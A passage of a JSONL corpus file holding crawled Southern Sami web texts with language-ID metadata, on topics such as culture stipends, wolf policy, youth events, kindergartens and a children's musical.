vïhtesjamme. Guvvieh nuhtjeme jih dej bijre tjaaleme. Guvvieh gujmie maahtoem vuesehte, saemien gïele jih kultuvren bijre. Dihte skreejrede jeatja saemien noeride jih guvvietjeahpoem nuhtjedh, Saemiedigkie tjaala.\n– Sjidtim gaajh feejjene. Tuhtjem stoerre earoe daam stipeendem åadtjodh. Daelie manne båatsoe-learohke aehtjien ektesne. Manne sijhtem båatsoe-jielemen gaajhkh biejjieh vuesiehtidh. Ij leah barre tjaebpies låvnadahke, miesieh mïerhkesjidh jih nemhtie. Jijnje barkoe båatsone barkedh ,nåake vearolde, tjåetskemes jih aaj jijjen ryøjnesjidh, Sparroke jeahta.\nMisse edtjh beetnegidie nuhtjedh?\n– Åhh... manne sijhtem mov guvvie dalhketjh orrestidh, dellie son buerebe jih tjïelkebe guvvieh sjædta! Ina- Theres mojjeste.. Jih niekedassem åtnam, maahtam guvvide vuesiehtidh.\nJienebh mij kultuvre stipeendem åadtjoeh.\nSarakka Gaup lea tjiehpies dorjehtæjja jih Anne Maia Raanes Sørensen lea balette-daanhtsere.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/saemiedigkien-kultuvre-jih-saavrehke-stipeende-1.12094901","date":"2017-10-23T23:31:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187826840.85\/warc\/CC-MAIN-20171023221059-20171024001059-00596.warc.gz","language":"sma","language_score":0.999976635,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999976634979248}","num_words":201,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåarehkeskuvle\nSaemien lohkemejarnge akte vierhtiejarnge mij joekoen lea stuvreme lïerehtimmiesysteemese maanagïerteste jïllebe ööhpehtæmman. Mijjieh barkeminie åejviesuerkiej sisnjeli lohkeme- jïh tjaelemelïerehtimmie jïh njaalmeldh gïeleevtiedimmie. Daate sæjhta jiehtedh nænnoestidh jïh åtnoem eevtjedh njaalmeldh saemien gïeleste lïerehtimmiesysteemesne, daajroe jienebegïelevoeten jïh gïelejealajehtemen bïjre, jïh daajroem buektedh lohkemen jïh tjaelemen bïjre. Mijjieh aaj dotkeme- jïh evtiedimmiebarkojne barkebe mij lea ektiedamme daejtie faagesuerkide.\nSkuvlide jïh lohkehtæjjide kuvsjh faalehtibie. Vuartesjh nuelesne kuvsjh jallh govlehtallh mijjine Saemien lohkemejarngesne jis jeatjah kuvsjh daarpesjidie. Daejnie sæjrojne aaj bïevnesh jïh svaalhtesh gaavnh sjyöhtehke learoevierhtide, bïhkedimmieh, dotkemetjaalegh jïh vielie saemien gïelen bïjre lïerehtimmesne.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/lohkanguovddas.no\/sma\/giele-lierehtimmie\/jaarehkeskuvle","date":"2017-10-17T18:39:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822480.15\/warc\/CC-MAIN-20171017181947-20171017201947-00528.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":115,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":91,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.242,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan våhkan Noerhte Trøndelaagen fylhkedigkie tjåanghkanamme. Dæjstan stoerre digkiedimmie, daan ov-juvre latjken bijre sjidti. Nøørjen barkoebielien krirrien (AP), saemien politihkere, Inger Marit Eira-Åhren daam ov-juvre latjkem laajhta.\nLaejhteme.\n–Mov mielesne, daate ov-juvre latjkoe, nåakemes nænnoestimmie maam Nøørje naan aejkien dorjeme. Daelie mijjieh Noerhte Trøndelaagesne tjoeveribie vuesiehtidh guktie dam aamhtesem gïetedalleme jih guktie daate ov-juvre reereme sjidti, Eira- Åhrene jeahta, daan Trøndere plaaran.www.t-a.no\/nyheter\/article10409042.ece\nKrirrien voelpe, Carl Sitter Geving, daam aamhtesem interpellasjovnen tjïrr lutnjesti - tjaalege gyjhtjelasse- fylhkeraaran jih Tor Erik Jensense (H).\n– Mijjien dååjretallemh vuesehte, guktie ov-juvre dajvide juakeme jih maan jijnjem bovtsh fierhten biejjien teehpebe. Dah ov-juvrh jeatjah-laakan dåemiedieh guktie Stoerredigkie sæjhta. Eira -Åhrene jeahta.\nSkodtedh staeriedidh.\nFylhketjïelte edtja raeriestimmem Ap, KrF jih Å nænnoestidh, guktie edtjieh daam ov-juvre latjkem jaepien 2015 staeriedidh.\nDah aamhtesh vihkielommes.\nRegiovnale ov-juvre reeremem jih ov-juvre moenehtsidie nænnoestidh.\nOv-juvride abpe Nøørjesne juekedh. Tjaalege guktie dihte ov-juvre reereme edtja årrodh. Man gellieh ov-juvrh,fierhten dajvesne tjaakanieh jih ov-juvride vihtiestidh. Juakaldihke dajvh jih vijreme.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/ov-juvre-politihkem-laejhtieh-1.12078850","date":"2017-10-22T23:05:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187825473.61\/warc\/CC-MAIN-20171022222745-20171023002745-00520.warc.gz","language":"sma","language_score":0.9999188185,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999188184738159}","num_words":154,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Samisk ungdom kan være med å spre informasjon om samiske forhold, og kan være samisk veiviser i et år. Søknadsfristen er 1. juni 2014.\nFor første gang, blir det gjennomført ungdomskonferanse for sørsamisk ungdom i Snåsa.\nDaelie 27. aejkien nasjovnale UKM-festivaale öörnesåvva, jïh daan jaepien medtie 500 noerh, aalterisnie 13-30 jaepieh, edtjieh meatan årrodh dej kategovriji sisnjeli tjeahpoe, filme jïh scene.\nNoerekonferanse noerh jïh politihkerh abpe fylhkeste tjöönghkie fïerhten jaepien, jïh dutnjien goh noere nuepiem vadta tsevtsedh mejnie lea vihkeles barkedh ihke datne edtjh aktem hijven båetijen biejjiem åadtjodh Noerhte-Trööndelagesne.\nFïerhten jaepien Saemien jolleskuvle golme tsïeglh ohtsede abpe laantem.\nEr du mellom 13- 20 år og har lyst til å lære mer om medvirkning, deltakelse og demokrati? Da inviteres du til internasjonal ungdomskonferanse 14. -19.august.\nFïerhten jaepien eejehtallemesiebrieh jïh noeregåetieh abpe laantesne «Eejehtallemesiebrien biejjiem» heevehtieh.\nLearohkh jïh eejhtegh Åarjel-saemiej skuvlesne laavenjostosne Gielem Nastedh'inie jïh Saemien Sijtine bööredieh Saemiej åålmegebiejjiem heevehtidh Snåasesne.\nDaan jaepien entreprenørskapgaavnesjimmie lea gaervies, jïh jienebh murreds gründerh jïh håalijh Lievengen gåajkoe båetieh.\nDov tjïelte lea vyørtegs dam tjïeltenommem \"Daan jaepien noeretjïelte\" åadtjodh ? Seedth dov nammoehtimmiem daelie!","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/ungint.no\/category\/ungint\/artikler\/saemien-tjaalegh\/","date":"2017-10-20T08:50:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823997.21\/warc\/CC-MAIN-20171020082720-20171020102720-00105.warc.gz","language":"sma","language_score":0.9996550083,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.99965500831604}","num_words":171,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Samerna i Härjedalen\nI kommunen finns tre samebyar, Mittådalen, Ruvthen sijte och Handölsdalen, med totalt ca 16 000 renar. En sameby är inte en by i ordets vanliga betydelse, utan ett större geografiskt område som renskötarna nyttjar under olika årstider. Under vinterhalvåret är samerna med sina renar i skogslandet, medan de under sommaren nyttjar hela fjällområdet.\nRennäringen är inte bara en näring utan också en livsstil som knyter ihop banden med det ursprungliga samiska samhället och visar på en historisk kontinuitet, från det ursprungliga jägarsamhället till dagens moderna renskötsel.\nSom besökare i regionen kan du ta del av både samiska smak- och kulturupplevelser. Samiska näringsidkare i Funäsdalen och Mittådalen producerar och säljer samiska delikatesser från ren och samiskt hantverk. Vill du uppleva samisk kultur och samisk vardag så är byn Mittådalen värt ett besök.\nDen samiska kulturen är en viktig del av Härjedalens identitet. Du är välkommen som gäst i Sápmi - Sameland.\nSaemieh Herjedaelesne\nTjïeltesne golme saemiesijth, Mittådalen, Ruvhten sijte jïh Handölsdalen jïh ektesne 16 000 bovtsh utnieh. Saemiesijte ij leah seamma goh sïejhme sijte, dihte stuerebe geografiske dajvesne gusnie gåatomem utnieh sjïere jaepieboelhkine. Daelvegen dellie krïevvine vuemielaantesne , jïh gïesegen bijjene vaerine.\nBåatsoeburrie ij barre bovtsejieleme dihte dovne jielemevuekie mejtie maadtoeboelvijste jåhta båeries histovrijen vijremesïebredahkeste daaletje båatsoejiliemasse.\nGuessine regijovnesne maahtah dovne maejstedh jïh meatan årrodh saemiekultuvresne. Saemiej åesiesstäjjah Bïenjedaelesne jïh Mïhtesne bovtsen bearkoeh jïh aaj saemieduodjiem dåekieh. Sijhth saemien kultuvrine jïh saemien aarkebiejjine åehpienadtedh dellie Mihten saemiesijtem tjoerh gussiestehtedh.\nSaemie kultuvre vihkeles biehkie Herjedaelien aerpine. Buerie båateme guessine Sápmisne.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/kommun.herjedalen.se\/omkommunen\/saepmiesameland.4.2fd16c2612bad7f8eac8000444.html","date":"2017-10-23T15:24:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187826114.69\/warc\/CC-MAIN-20171023145244-20171023165244-00554.warc.gz","language":"sma","language_score":0.8786861897,"language_script":"Latn","minhash_cluster_size":145,"top_langs":"{\"sma_Latn_score\": 0.8786861896514893, \"swe_Latn_score\": 0.10693376511335373, \"sme_Latn_score\": 0.01225909311324358}","num_words":245,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.873,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie jearsoes sijjieh sjugniedidh saemien maanide jïh noeride? Mij raaktan akte raaste jïh akte daaresjimmie? Guktie ovvaajteles dåemiedimmiem heerredidh? Jïh maam edtja darjodh gosse daaresjimmieh sjugniehtuvvieh?\nMijjieh aavone ihke maehtebe saemien årganiseradamme noerh gaskem 16-28 jaepieh bööredidh vaestiedassh åadtjodh daejtie gyhtjelasside mijjen kuvsjehïeljesne Tromsøesne rïhkeden\/golken 20. – 22.b. Mijjieh haestebe organisasjovnh, siebrieh, tjïerth jïh dåehkieh Saepmesne göökte almetjh seedtedh mah leah vyljehke lïeredh, maaje unnemes akte ståvroste. Mijjieh gegkiestibie doh göökte saadthalmetjh mænngan maehtieh dïjrem bååstede vaeltedh sijjen seabran, jïh naemhtie hoksedh dan gallesh goh gåarede nuepiem åadtjoeh daan teeman bïjre lïeredh. Naemhtie gegkiestibie aktem jearsoes Saepmiem sjugniedidh!\nSaemiedigkien noerepolitihkeles moenehtse kuvsjehïeljem öörnede aktene laavenjostosne Bufdirine, LNU:ine jïh SANKS:ine. Bufdir beapmoen jïh jïjjedimmien åvteste maaksa jïh aaj feelemem dongkoe. Sïjsebïeljelimmie dorjesåvva daan svaalhtesen baaktoe skïereden\/gaekeren 17.b. åvtelen: https:\/\/easyfact.no\/reply\/lqmtnjncyc\nJis gyhtjelassh, gaskesadth Ánná Káisá Partapuoli (SUPU) tellefovnesne 91574533 jallh e-påaste firstname.lastname@example.org\nJis gyhtjelassh feelemen jïh dongkemen bïjre, gaskesadth Betina Torbjørnsen (Bufdir) tellefovnesne 466 16 244 jallh e-påaste email@example.com\nJïjnjh heelsegh\nSaemiedigkien noerepolitihkeles moenehtse\nÅvtehke Ánná Káisá Partapuoli","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/noerehdiggi.wordpress.com\/2017\/09\/10\/booredimmie-kuvsjese-jearsoes-saepmie\/","date":"2017-11-18T12:02:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934804881.4\/warc\/CC-MAIN-20171118113721-20171118133721-00763.warc.gz","language":"sma","language_score":0.9999501705,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999501705169678}","num_words":159,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vihkeles saemien gïelem jïh kultuvrem åvtese lutnjedh aktene saemien maanagïertefaalenassesne. Daate lea aerpien jïh aerpievuekiej bïjre, men seamma tïjjen gorredidh, sjugniedidh jïh orrestidh.\nRaerielïhtsege\nKrirrie: NSR\nSaemien maanagïertefaalenasse\nSaemien maanagïertefaalenasse lea akte faalenasse gusnie maanagïerten barkoevåarome lea saemien gïele jïh kultuvre. Maanagïerte edtja maanaj saemien identiteetem nænnoestehtedh viehkine saemien gïelem nuhtjedh jïh saemien kultuvren bïjre bievnedh. Saemiengïelen pedagogeles barkijh maanagïertem stuvrieh.\nMaahta saemien maanagïertefaalenassem daejnie såarhtine juekedh: a) saemien maanagïerth jïh nöörjen maanagïerth saemien goevtesinie b) maanagïerth faalenassine saemien gïelelïerehtimmien bïjre.\nSaemiedigkie saemien maanagïertefaalenassese sjïehteladta viehkine dåarjoem reeredh maanagïertide. Maanagïerth mah aktem saemien maanagïertefaalenassem vedtieh maehtieh dejtie joekehts dåarjoeöörnegidie ohtsedh. Saemiedigkien budsjedte dejtie dåarjoeöörnegidie buerkeste.\nJuktie maanagïerten barkoem dåarjoehtidh Mieriesoejkesjinie maanagïerten sisvegasse jïh laavenjassine jienebh teemagærjetjh leah dorjesovveme. Teemagærjetjh edtjieh skraejrine jïh våaroeminie årrodh ussjedæmman gosse ovmessie teemajgujmie barka mah leah maanagïerten sisvegen jïh laavenjassi bïjre. Akte bïhkedæjja maanagïertide saemien maanajgujmie lea dorjesovveme.\nAavoedimmie goevten 6. biejjeste maanagïertesne\nGoevten 6. b. lea byögkeles saevegebiejjie Nöörjesne jïh abpe laante biejjiem meerhkesje goh saemiej åålmegebiejjie. Jïjnjh heannadimmieh jïh symbovlh leah ektiedamme dan beajjan.\nNuhteligs vierhtieh maanagïertide, skuvlide jïh mubpide:\n- Vierhtiegærjetje maanagïertide saemiej åålmegebiejjien bïjre (Aktesne.no)\n- Barkoeaarhke saemiej åålmegebeajjan (Maritvold maanagïerte)\n- Saemiej åålmegebiejjie (NRK Skole)\n- Lihku beivvin sámi álbmogii! (Forskning.no)\n- Saemiej åålmegebiejjie (NRK)\n- Sámi álbmotbeaivi p.s. (Forskning.no)\nLohkh vielie åålmegebiejjien jïh nasjonaale symbovli bïjre:","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.saemiedigkie.no\/Dienesjh2\/Maanagierte","date":"2017-11-21T12:14:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806353.62\/warc\/CC-MAIN-20171121113222-20171121133222-00363.warc.gz","language":"sma","language_score":0.9999526739,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999526739120483}","num_words":209,"character_repetition_ratio":0.132,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.22,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh saemieh akte almetje, jïjtsine gïeline, kultuvrine jïh histovrijine. Dan gaavhtan dle reaktam utnebe jïjtje nænnostidh, jïh reaktam utnebe mijjen jïjtse kultuvrem, mijjen jïjtsh gïelide jïh mijjen siebriedahkejieledem evtiedidh. Nøørjen Saemiej Rihjkesiebrie (NSR) veanhta mijjieh saemieh jïjtje reaktam utnebe åvtelbaeliem reeredh, daan baeliem stuvredh jïh båetije aejkiem hammoedidh mijjen jïjtsh premissine.","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/nsr.no\/veeljeme-2013\/veeljemeprogramme?lang=sma","date":"2017-11-24T15:02:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934808254.76\/warc\/CC-MAIN-20171124142303-20171124162303-00587.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":51,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïekeren gullie- muerjieh maahta, vihkeles daan cancere-giehtjiedimmese sjidtedh. Laadtegen antioksidante, ellanginsyre dihte mij edtja daam cancerem heerredidh. Daan bijre lea dotkije dåehkieh universiteeteste Helsinki Såevmieste giehtjedamme. Giehtjedamme guktie snearah daam antioksidantem dååsteme. Daan saernien bijre NRK Nordnytt tjaaleme www.nrk.no\/nordnytt\/multer-kan-kurere-kreft-1.11867274\n–Nov amma naemhtie, jeahta Anne-Marja Pajari, dotkije Universiteetesne Helsinkiesne. Vååjnoe goh laadtege, maahta orre cancere sjædtoeh heerredidh jih daejtie sjædtoejde unniedidh jih bueriedidh jeahta Pajari.\nAlmetjidie nuhtjedh.\nDaate vihkeles viehkie sjædta, daejtie mij cancerem tjåejjesne jih tjåeline utnieh. Daelie tjoeveribie giehtjedidh jis laadtegh seamma hijvene almetjidie nuhtjedh.\nDaelie jijnjesh møørjeminie jih jijnjh dajvine laadth-bïekere øøvre dieves daejstie joekoen muerjiejste. Ij leah gåvva daejredh, maan jijnjem daejstie muerjieste tjoerh byøpmedidh jis edtja nuhteligs årrodh.\n– Geerve jiehtedh. Ibie ennje ensilaakan daam giehtjedamme. Moenedem tjoerh 50-100 gr biejjesne byøpmedidh jeahta Pajari.\nAlmetjh guhkiem laadtegh tjåejjie- bååtjine nuhtjeme.\nDihte Nøørjen giehtjedimmieinstituttet Bioforsk, desnie bievnede dihte dotkije Paul Aspholm, laadtege guhkiem vihkeles almetjedåehkide orreme.\n– Ov-messie skïemtjelassh viehkiedamme. Sovhte jih gosse tjøøjijste, maahta muerjiem jih aaj daam muerjien-sjædtoem nuhtjedh. Laadtege åtna joekoen jijnjem C-vitaminem jih jeatjah joekoen antioksidant jeahta Aspholm.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.nrk.no\/sapmi\/laadtegh-joekoen-baatja-1.11875795","date":"2017-11-18T05:13:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934804610.37\/warc\/CC-MAIN-20171118040756-20171118060756-00204.warc.gz","language":"sma","language_score":0.9998024106,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9998024106025696}","num_words":172,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelhsaemien Teatere 1 milljovnh kr Interreg Sapmeste åådtjeme jih Joejkekalem- Maanamusihkalem Pluppen bijre darjodh. Pluppe akte dejstie ov-våajnoes vaeresne. Daate teaterestuhtje Pluppen jih altese voelpi bijre, båata såemies dejstie gaerjijste seamma nommine goh Inga Borge tjaaleme. Åarjelhsaemien Teatere produksjovne åejvie Leammuid Biret Ravdna aavosne.\n– Daate lea joekoen jåvle sjieledahke! Mijjieh geerjene beetneh vierhtieh åadtjoejimh, Bieret Ravdna jeahta.\nHeevehtimmie jaepieh 2016-2017.\nDaate maanamusihkaale Pluppen bijre edtja riejries golken asken sjidtedh jih voestes vuesiehtimmie sjædta Nordlaanten teaterisnie Raanesne. Daan mænngan edtjieh daam heevehtimmie jaepesne 2016-2017 vuesiehtidh, abpe åarjelsaemien dajvesne.\n–Daate lea joekoen vaajese Pluppen bijre mij vaeresne jieleminie, heamturh dah sov voelpi ektesne. Lustes daate sjædta, Bieret Ravdna jeahta.\nAbpe åarjelsaemien dajvesne vuesiehtidh.\n– Aelkebe joe orre jaepien mænngan soejkesjidh jih tjoerebe aaj sjiehteles dorjetæjjah gaavnedh, Bieret Ravna jeahta.\nDaate lea ektievuekie barkoe Norrlands musihke jih dansteatere, Estrad Norr Jiemhtesne\/Hierjedaelesne, Noerhte Trøøndelagen Jilleskuvle jih Beaivvas Sami Teateren gaskem.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/pluppe-maanamusihkale-sjaedta-1.12724355","date":"2017-12-11T09:57:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948513330.14\/warc\/CC-MAIN-20171211090353-20171211110353-00787.warc.gz","language":"sma","language_score":0.9999222755,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999222755432129}","num_words":142,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Byjreseråajvarimmie laanteburresne\nNasjovnale byjreseulmieh jïh jåartaburrien haestemh leah buerkiestamme dennie nasjovnale byjreseprogrammesne. Byjreseprogramme edtja viehkiehtidh jåartaburrien byjresebarkoem ulmien vööste stuvredh, jåartaburrien tjåenghkies byjresebarkoem vuesiehtidh, jïh buerebe voenges jïh regijovnale gårreldimmiem sjugniedidh byjresebarkoste.\nFylhkenålman lea dïedte regijovnale byjreseprogrammem laantebårran evtiedidh jïh tjïrrehtidh (daaroen åeniedamme RMP), mij våaromem åtna dennie nasjovnale byjreseprogrammesne. Byjreseprogrammh edtjieh laanteburrien byjresebarkoem vihtiesåbpoe darjodh, jïh dam tjåenghkies byjresebarkoem laanteburresne vuesiehtidh. Edtja regijovnale byjreseprogrammh stuvredh fïerhten regijiovnen haestemi vööste.\nTjïelth ohtsemh gïetedieh dåarjoen bïjre sjïere byrjeseråajvarimmide jåartaburresne.\nKultuvreeatneme akte vihkeles bielie kultuvreaerpeste\nAkte vihkeles bielie byjreseråajvarimmijste jåartaburresne lea kultuvreeatnemem gorredidh, mij lea akte vihkeles bielie mijjen kultuvreaerpeste. Kultuvreeatneme lea dïhte eatneme maam almetjh tsevtsiedamme. Daajbaaletje tïjjen dle kultuvreeatneme tjarke jorkesamme. Jarkelamme barkoevuekieh jåartaburresne jïh akte bïjvelåbpoe klijma, jïjnjh kultuvreeatnemh håvhtadieh daelie. Gellie sjædtoeh, åhtoeh jïh jeatjah åårganismh leah sveekebe daelie jallh eevre gaarvanamme. Båeries fealadimmelaajroeh, kultuvremojhtesh, båeries jïh teknihkeles tseegkeldahkh jïh båeries vyörtegs gåetieh suvveminie jïh slaameminie. Båeries gåetiekreekesåarhth jïh aerpievuekien sjædtoeh leah vihkeles gen-vierhtieh, jïh leah vaahresne gaarvenidh daelie.\nJuktie byjreseaarvojde kultuvreeatnamisnie gorredidh, dle daerpies aerpievuekien barkoevuekiem tjåadtjoehtidh jallh jurjemeråajvarimmiegujmie nïerhkedh. Regijovnale byjreseprogramme daejnie viehkehte, dåarjoejgujmie ektine mah vadtasuvvieh sjïere byjreseråajvarimmide jåartaburresne.\nFylhkenålman lea dïedte latjkoeh darjodh dajveaajhterigujmie jïh reaktaaajhterigujmie barkoevuekien, jurjemen jïh dåvvomeråajvarimmiej bïjre nasjovnale vaeljehke kultuvreeatnaminie jåartaburresne.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.fylkesmannen.no\/sma\/Laanteburrie-jih-beapmoe\/Byjreseraajvarimmie-laanteburresne\/","date":"2017-12-12T14:12:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948517181.32\/warc\/CC-MAIN-20171212134318-20171212154318-00068.warc.gz","language":"sma","language_score":0.999999404,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"sma_Latn_score\": 0.9999994039535522}","num_words":201,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.11,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïhtsegesiebrie mij säjhta saemien saavremegaahtjemh öörnedh syökemem seedtie SIF´n ståvrose. Syökemisnie edtja tjåadtjodh gusnie jïh gåessie säjhta gaahtjemidie öörnedh.\nGaahtjemh maahta dejnie boelhkine öörnedh:\nDaelviegaahtjemh: goevte -voerhtje\nInnebandygaahtjemh: rahka- voerhtje\nGiesiegaahtjemh: mïetske\nÖörnemevierhtieh gååvnese dejtie mah saavremegaahtjemidie öörnieh.\nSIF jïh SVL njoelkedassh bïejeme mah edtjieh nuhtjesovvedh gaahtjeminie.\nSIF aktem TD´m (tekniske delegaate) veeljie jïh maaksa gie edtja gaahtjemehïeljesne meatan årrodh jïh maahta vaaksjodh gaahtjemh njoelkedassi mietie tjirrehteminie. TD maahta aaj raerieh vedtedh jïh duvtije årrodh öörnemen åvteste.\nNuekies tïjjen gaahtjemi åvteste maahta dispensem syökedh SIF´n ståvroste jis njoelkedassh jallh biehkieh gaahtjemistie mejtie säjhta slyöhpedh. Jis stoerre värhtoedimmieh njoelkedassijste\/gaahtjemebiehkijste mejtie siebrie säjhta tjirrehtidh dle SIF´n tjuara dam jaepietjåanghkosne nännoestidh man gaavhtan syökemem dan bïjre tjuara nuekies tïjjen gaahtjemi eannan sïjse båetedh.\nSIF naakenh aevsieh jïh aevsiesteerijh utnieh jis daerpies dejtie löönedh jïh åasam maaksa guktie dejtie gaahtjemesäjjan seedtedh. SIF aaj medaljh vadta gaahtjemesuerkide. Dah siebrieh mah saavremegaahtjemidie öörnieh åadtjoeh aaj jeatjah prïjsh vedtedh, bene ij leah nåvreme.\nSiebrie mij saavremegaahtjemem öörnie edtja resultaatelästoeh darjodh jïh aaj dejtie lästojde jïh vïhtestimmiem gaahtjemistie seedtedh SIF´se gosse gaahtjemh galkeme.\nSSFI´n nedtesäjroe jïh facebookedåehkie maehtieh nuhtjesovvedh juktie bïevnesh saavremegaahtjemi bïjre vuesiehtidh.\nDah saemien saavremegaahtjemh dovne gaahtjemh jïh vihkeles saemien gaavnehsijjieh. Hävvi ij leah nåvreme iehkedsöörnemh utnedh, bene juktie almetjh gellie jeatjah sijjijste vuelkieh dah pruvhkieh tuhtjedh luste jïh buerie jis nimhtie. Guktie ij edtjieh feerh jïjnjh barkoeh sjïdtedh siebrese maahta joe aalkoebarkosne goerehtidh jis jeatja almetjh\/sïelth\/siebrieh mah maehtieh iehkedsöörnemh jïh beapmoedoekemem utnedh.","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/samiskidrott.nu\/same-sm\/saavremegaahtjemh-oornedh-aarjel\/","date":"2017-12-11T05:55:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948512208.1\/warc\/CC-MAIN-20171211052406-20171211072406-00107.warc.gz","language":"sma","language_score":0.9999933243,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999933242797852}","num_words":237,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kommende Hendelser\nHendelser listenavigering\nAkte noere saemien nyjsenæjja voejhkele sov byjjenimmine åarjelsaemien internatesne måahtadidh jaepieh 1990 Nöörjesne. Gellie boelhkine åarjelsaemien maanah hïejmeste seedtesovveme edtjieh internaatesne årrodh skuvlesne vaedtsedh. Dïhte lij akte voerkes boelhke daaroedehtemepolitihkeste. Mænngan saemiej skuvlh vierhtine sjïdtin edtjin saemien kultuvrem gorredidh. Eejhtegh sijjen maanide gååhkese hïejmeste seedtin juktie saemien gïelem jïh kultuvrem lïeredh, jïh idtjin dejtie vihth…Les mer","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/www.asteatere.no\/spilleplan\/","date":"2018-01-21T06:31:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890314.60\/warc\/CC-MAIN-20180121060717-20180121080717-00275.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":59,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ellen Sara Sparrok\nManne sïjhtem bøøremes sjïdtedh\nEllenSara Sparrok (17) Aarporteste båata. 